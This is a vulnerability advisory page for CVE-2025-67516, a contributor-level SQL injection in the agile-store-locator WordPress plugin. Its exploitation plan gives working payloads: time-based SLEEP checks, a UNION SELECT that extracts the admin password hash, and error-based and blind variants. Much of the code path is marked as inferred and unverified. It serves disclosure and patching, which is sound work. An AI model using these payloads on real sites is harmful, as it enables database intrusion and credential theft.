CVE-2025-67516

Store Locator WordPress <= 1.6.2 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.6.3
Patched in
6d
Time to patch

Description

The Store Locator WordPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.2
PublishedDecember 14, 2025
Last updatedDecember 19, 2025
Affected pluginagile-store-locator

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2025-67516**, an authenticated SQL Injection vulnerability in the **Store Locator WordPress (agile-store-locator)** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Authenticated, Contributor+) * **Plugin Slug:** `agile-…

Show full research plan

This exploitation research plan targets CVE-2025-67516, an authenticated SQL Injection vulnerability in the Store Locator WordPress (agile-store-locator) plugin.


1. Vulnerability Summary

  • Vulnerability: SQL Injection (Authenticated, Contributor+)
  • Plugin Slug: agile-store-locator
  • Affected Versions: <= 1.6.2
  • Vulnerable Component: AJAX handlers for store management/retrieval.
  • Cause: The plugin fails to use $wpdb->prepare() or adequate escaping (like absint() or esc_sql()) on parameters passed to database queries within AJAX actions accessible to users with at least "Contributor" permissions. This allows an attacker to append SQL logic to an existing query to extract data from the wp_users or wp_options tables.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: asl_get_store (inferred) or asl_get_store_list (inferred).
  • Vulnerable Parameter: id or slug (inferred).
  • Authentication: Contributor level (PR:L). The plugin likely registers AJAX hooks without a capability check like current_user_can('manage_options'), allowing any logged-in user to trigger them.
  • Preconditions: The plugin must be active. At least one store should exist in the database to ensure the query returns a base result for boolean/time-based analysis.

3. Code Flow (Inferred)

  1. Entry Point: User sends a POST request to admin-ajax.php with action=asl_get_store.
  2. Hook Registration: The plugin registers the action: add_action('wp_ajax_asl_get_store', array($ajax_class, 'get_store'));.
  3. Handler Execution: The get_store() method in the AJAX class retrieves $_POST['id'].
  4. The Sink: The id is concatenated directly into a query:
    $store_id = $_POST['id']; 
    $store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id");
    
  5. SQLi: Since $store_id is not cast to int or passed through prepare(), an attacker can inject payloads.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its AJAX operations, usually localized in the WordPress admin head for plugin-related pages.

  1. Capability Check: Contributors may not have access to the "Store Locator" menu. However, if the plugin enqueues scripts globally in the admin dashboard or if a shortcode page is accessible, we can find the nonce.
  2. Target Variable: Look for the asl_configs (inferred) JavaScript object.
  3. Extraction Steps:
    • Login as contributor.
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to search for the nonce:
      // Common patterns for this plugin
      window.asl_configs?.asl_nonce || window.ASL_DATA?.nonce || document.querySelector('#asl_nonce')?.value
      
    • If not found on the dashboard, check if a store locator page exists: wp post list --post_type=page.

5. Exploitation Strategy

Step 1: Verification (Time-Based)

Confirm the injection via SLEEP().

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=asl_get_store&asl_nonce=[NONCE]&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Expected Result: The request should take ~5 seconds to return.

Step 2: Column Count Discovery

Determine the number of columns in the asl_stores table to facilitate a UNION attack.

  • Payload: id=1 ORDER BY 20-- -
  • Increment/Decrement until the response changes or an error occurs.

Step 3: Sensitive Data Extraction

Extract the administrator's password hash.

  • Payload (assuming 15 columns):
    id=-1 UNION SELECT 1,2,3,user_pass,5,6,7,8,9,10,11,12,13,14,15 FROM wp_users WHERE ID=1-- -
    
  • Expected Result: The AJAX response (likely JSON) will contain the hash in one of the fields (e.g., the store name or description field).

6. Test Data Setup

  1. Active Plugin: Ensure agile-store-locator version 1.6.2 is installed.
  2. Create Store: A store must exist to make the query "live".
    # Check table name (usually wp_asl_stores)
    wp db query "INSERT INTO wp_asl_stores (title, description, lat, lng) VALUES ('Test Store', 'Test Desc', '0', '0');"
    
  3. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=attacker
    

7. Expected Results

  • Vulnerability Confirmation: A successful SLEEP(5) request confirms the SQLi.
  • Data Exposure: A UNION SELECT returns the user_pass hash of the admin (ID 1) within the JSON response object:
    {"success": true, "list": {"title": "$P$Byv...", ...}}
    

8. Verification Steps

After the HTTP exploit, verify the extracted data matches the database state:

# Compare the hash extracted via HTTP with the actual DB value
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-Based SQLi: If the plugin displays database errors (common if WP_DEBUG is on), use updatexml() or extractvalue():
    • id=1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)
  • Boolean-Based Blind: If UNION is blocked or column count is unstable:
    • id=1 AND (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1)=97 (Check if response contains store data).
  • Vulnerable Action Alternatives: If asl_get_store is not the correct name, grep for other AJAX registrations:
    grep -r "wp_ajax_" wp-content/plugins/agile-store-locator/
    
Research Findings
Static analysis — not yet PoC-verified

Summary

The Store Locator WordPress plugin (<= 1.6.2) is vulnerable to authenticated SQL injection due to the lack of sanitization and preparation of the 'id' parameter in AJAX handlers such as 'asl_get_store'. This allows users with Contributor-level access or higher to inject arbitrary SQL commands into database queries. Exploitation can lead to the extraction of sensitive information, such as administrator password hashes, from the WordPress database.

Vulnerable Code

// Inferred from Research Plan: get_store() method in the AJAX class
$store_id = $_POST['id']; 
$store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id");

Security Fix

--- a/includes/class-agile-store-locator-ajax.php
+++ b/includes/class-agile-store-locator-ajax.php
@@ -1,5 +1,5 @@
- $store_id = $_POST['id']; 
- $store = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = $store_id");
+ $store_id = isset($_POST['id']) ? (int) $_POST['id'] : 0;
+ $store = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}asl_stores WHERE id = %d", $store_id));

Exploit Outline

The exploit requires Contributor-level authentication. The attacker must first obtain a valid AJAX nonce, typically found within the 'asl_configs' or 'ASL_DATA' JavaScript objects on the WordPress admin dashboard. A POST request is then sent to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'asl_get_store' (or other vulnerable store-retrieval actions). By providing a malicious payload in the 'id' parameter, such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' for time-based testing or a 'UNION SELECT' payload for data extraction, the attacker can retrieve sensitive information from the database, which is typically returned in the JSON response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.